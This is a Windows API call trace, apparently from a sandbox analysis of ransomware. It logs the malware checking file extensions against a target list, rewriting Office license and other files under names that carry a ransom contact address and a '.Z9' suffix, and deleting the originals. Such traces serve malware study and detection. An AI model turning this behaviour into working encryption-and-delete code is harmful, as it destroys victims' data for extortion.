	[0187.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.964] lstrlenW (lpString=".zip") returned 4
	[0187.964] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.964] lstrlenW (lpString=".rar") returned 4
	[0187.964] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.964] lstrlenW (lpString=".bz2") returned 4
	[0187.964] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.964] lstrlenW (lpString=".7z") returned 3
	[0187.964] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.964] lstrlenW (lpString=".dbf") returned 4
	[0187.964] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.964] lstrlenW (lpString=".1cd") returned 4
	[0187.964] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0187.965] lstrlenW (lpString=".jpg") returned 4
	[0187.965] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.965] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.965] lstrlenW (lpString="O365HomePremR_Subscription5-ppd.xrm-ms") returned 38
	[0187.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0187.966] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=26541) returned 1
	[0187.967] CloseHandle (hObject=0x31c) returned 1
	[0187.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 0x220
	[0187.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0187.967] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.968] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0187.969] GetLastError () returned 0x0
	[0187.969] ReadFile (in: hFile=0x31c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0188.050] WriteFile (in: hFile=0x444, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0188.051] ReadFile (in: hFile=0x31c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.051] WriteFile (in: hFile=0x444, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x120, lpOverlapped=0x0) returned 1
	[0188.051] SetEndOfFile (hFile=0x444) returned 1
	[0188.051] CloseHandle (hObject=0x444) returned 1
	[0188.051] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.051] SetEndOfFile (hFile=0x31c) returned 1
	[0188.282] CloseHandle (hObject=0x31c) returned 1
	[0188.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 1
	[0188.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.285] lstrlenW (lpString=".doc") returned 4
	[0188.285] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.285] lstrlenW (lpString=".docx") returned 5
	[0188.285] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.285] lstrlenW (lpString=".pdf") returned 4
	[0188.285] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.285] lstrlenW (lpString=".xls") returned 4
	[0188.285] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.285] lstrlenW (lpString=".xlsx") returned 5
	[0188.285] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.285] lstrlenW (lpString=".ppt") returned 4
	[0188.285] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.285] lstrlenW (lpString=".zip") returned 4
	[0188.285] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.285] lstrlenW (lpString=".rar") returned 4
	[0188.285] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.285] lstrlenW (lpString=".bz2") returned 4
	[0188.285] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.285] lstrlenW (lpString=".7z") returned 3
	[0188.285] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.285] lstrlenW (lpString=".dbf") returned 4
	[0188.285] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.286] lstrlenW (lpString=".1cd") returned 4
	[0188.286] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.286] lstrlenW (lpString=".jpg") returned 4
	[0188.286] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.286] lstrlenW (lpString=".doc") returned 4
	[0188.286] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString=".docx") returned 5
	[0188.286] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.286] lstrlenW (lpString=".pdf") returned 4
	[0188.286] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString=".xls") returned 4
	[0188.286] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString=".xlsx") returned 5
	[0188.286] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.286] lstrlenW (lpString=".ppt") returned 4
	[0188.286] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.286] lstrlenW (lpString=".zip") returned 4
	[0188.286] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString=".rar") returned 4
	[0188.286] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString=".bz2") returned 4
	[0188.286] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.286] lstrlenW (lpString=".7z") returned 3
	[0188.287] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.287] lstrlenW (lpString=".dbf") returned 4
	[0188.287] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.287] lstrlenW (lpString=".1cd") returned 4
	[0188.287] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88
	[0188.287] lstrlenW (lpString=".jpg") returned 4
	[0188.287] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.287] lstrlenW (lpString=".id-") returned 4
	[0188.287] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x770210 | out: hHeap=0x710000) returned 1
	[0188.287] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad958 | out: hHeap=0x710000) returned 1
	[0188.287] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3900988 | out: hHeap=0x710000) returned 1
	[0188.287] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3910990 | out: hHeap=0x710000) returned 1
	[0188.289] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ea0020 | out: hHeap=0x710000) returned 1
	[0188.295] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76ffd0 | out: hHeap=0x710000) returned 1
	[0188.295] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4069300
	[0188.295] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4069300, Size=0x20) returned 0x3929fc0
	[0188.295] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4069330
	[0188.295] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4069330, Size=0x20) returned 0x3929fe8
	[0188.296] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.296] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.296] Wow64DisableWow64FsRedirection (in: OldValue=0x34aff50 | out: OldValue=0x34aff50*=0x1) returned 1
	[0188.296] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.296] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1
	[0188.296] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.296] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fc0 | out: hHeap=0x710000) returned 1

Thread:
	id = 48
	os_tid = 0xda8

	[0159.710] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3fb0048
	[0159.711] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3fc0050
	[0159.712] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770000
	[0159.712] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7adb58
	[0159.712] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770228
	[0159.712] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x41bd020
	[0159.715] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770180
	[0159.715] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x770180, Size=0x20) returned 0x74f350
	[0159.715] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770018
	[0159.715] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x770018, Size=0x20) returned 0x74f288
	[0159.715] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.715] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.715] Wow64DisableWow64FsRedirection (in: OldValue=0x35eff50 | out: OldValue=0x35eff50*=0x0) returned 1
	[0159.715] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f350 | out: hHeap=0x710000) returned 1
	[0159.715] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f288 | out: hHeap=0x710000) returned 1
	[0159.715] Sleep (dwMilliseconds=0x64) 
	[0160.453] Sleep (dwMilliseconds=0x64) 
	[0160.641] Sleep (dwMilliseconds=0x64) 
	[0160.999] lstrcmpiW (lpString1=".sys", lpString2=".Z9") returned -1
	[0160.999] lstrlenW (lpString="hiberfil.sys") returned 12
	[0160.999] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.121] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.121] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.121] lstrlenW (lpString=".doc") returned 4
	[0161.121] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0161.121] lstrlenW (lpString=".docx") returned 5
	[0161.121] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0161.121] lstrlenW (lpString=".pdf") returned 4
	[0161.121] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0161.121] lstrlenW (lpString=".xls") returned 4
	[0161.121] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0161.121] lstrlenW (lpString=".xlsx") returned 5
	[0161.121] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0161.121] lstrlenW (lpString=".ppt") returned 4
	[0161.121] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0161.121] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.121] lstrlenW (lpString=".zip") returned 4
	[0161.121] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0161.122] lstrlenW (lpString=".rar") returned 4
	[0161.122] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString=".bz2") returned 4
	[0161.122] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString=".7z") returned 3
	[0161.122] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0161.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.122] lstrlenW (lpString=".dbf") returned 4
	[0161.122] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.122] lstrlenW (lpString=".1cd") returned 4
	[0161.122] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.122] lstrlenW (lpString=".jpg") returned 4
	[0161.122] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.122] lstrlenW (lpString=".doc") returned 4
	[0161.122] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString=".docx") returned 5
	[0161.122] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0161.122] lstrlenW (lpString=".pdf") returned 4
	[0161.122] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString=".xls") returned 4
	[0161.122] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0161.122] lstrlenW (lpString=".xlsx") returned 5
	[0161.122] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0161.122] lstrlenW (lpString=".ppt") returned 4
	[0161.122] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.122] lstrlenW (lpString=".zip") returned 4
	[0161.122] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0161.122] lstrlenW (lpString=".rar") returned 4
	[0161.122] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString=".bz2") returned 4
	[0161.122] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0161.122] lstrlenW (lpString=".7z") returned 3
	[0161.123] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0161.123] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.123] lstrlenW (lpString=".dbf") returned 4
	[0161.123] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0161.123] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.123] lstrlenW (lpString=".1cd") returned 4
	[0161.123] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0161.123] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0161.123] lstrlenW (lpString=".jpg") returned 4
	[0161.123] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0161.123] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0161.123] lstrlenW (lpString="active-charge.exe") returned 17
	[0161.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.347] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=78336) returned 1
	[0161.347] CloseHandle (hObject=0x39c) returned 1
	[0161.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe")) returned 0x20
	[0161.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\active-charge.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.348] lstrlenW (lpString=".doc") returned 4
	[0161.348] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0161.348] lstrlenW (lpString=".docx") returned 5
	[0161.348] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0161.348] lstrlenW (lpString=".pdf") returned 4
	[0161.348] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0161.348] lstrlenW (lpString=".xls") returned 4
	[0161.348] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0161.348] lstrlenW (lpString=".xlsx") returned 5
	[0161.348] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0161.348] lstrlenW (lpString=".ppt") returned 4
	[0161.348] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0161.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.348] lstrlenW (lpString=".zip") returned 4
	[0161.348] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0161.348] lstrlenW (lpString=".rar") returned 4
	[0161.348] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0161.349] lstrlenW (lpString=".bz2") returned 4
	[0161.349] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0161.349] lstrlenW (lpString=".7z") returned 3
	[0161.349] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0161.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.349] lstrlenW (lpString=".dbf") returned 4
	[0161.349] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0161.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.349] lstrlenW (lpString=".1cd") returned 4
	[0161.349] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0161.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.349] lstrlenW (lpString=".jpg") returned 4
	[0161.349] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0161.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.349] lstrlenW (lpString=".doc") returned 4
	[0161.349] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0161.349] lstrlenW (lpString=".docx") returned 5
	[0161.349] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0161.349] lstrlenW (lpString=".pdf") returned 4
	[0161.349] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0161.349] lstrlenW (lpString=".xls") returned 4
	[0161.349] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0161.349] lstrlenW (lpString=".xlsx") returned 5
	[0161.349] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0161.349] lstrlenW (lpString=".ppt") returned 4
	[0161.349] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0161.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.349] lstrlenW (lpString=".zip") returned 4
	[0161.349] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0161.349] lstrlenW (lpString=".rar") returned 4
	[0161.349] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0161.349] lstrlenW (lpString=".bz2") returned 4
	[0161.349] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0161.349] lstrlenW (lpString=".7z") returned 3
	[0161.350] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0161.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.350] lstrlenW (lpString=".dbf") returned 4
	[0161.350] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0161.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.350] lstrlenW (lpString=".1cd") returned 4
	[0161.350] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0161.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0161.350] lstrlenW (lpString=".jpg") returned 4
	[0161.350] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0161.350] Sleep (dwMilliseconds=0x64) 
	[0161.647] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0161.648] lstrlenW (lpString="msdaprsr.dll.mui") returned 16
	[0161.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0162.151] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=7680) returned 1
	[0162.151] CloseHandle (hObject=0x3f8) returned 1
	[0162.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20
	[0162.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0162.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.152] lstrlenW (lpString=".doc") returned 4
	[0162.152] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0162.152] lstrlenW (lpString=".docx") returned 5
	[0162.152] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0162.152] lstrlenW (lpString=".pdf") returned 4
	[0162.152] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0162.152] lstrlenW (lpString=".xls") returned 4
	[0162.152] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0162.152] lstrlenW (lpString=".xlsx") returned 5
	[0162.152] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0162.152] lstrlenW (lpString=".ppt") returned 4
	[0162.152] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0162.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65
	[0162.152] lstrlenW (lpString=".zip") returned 4
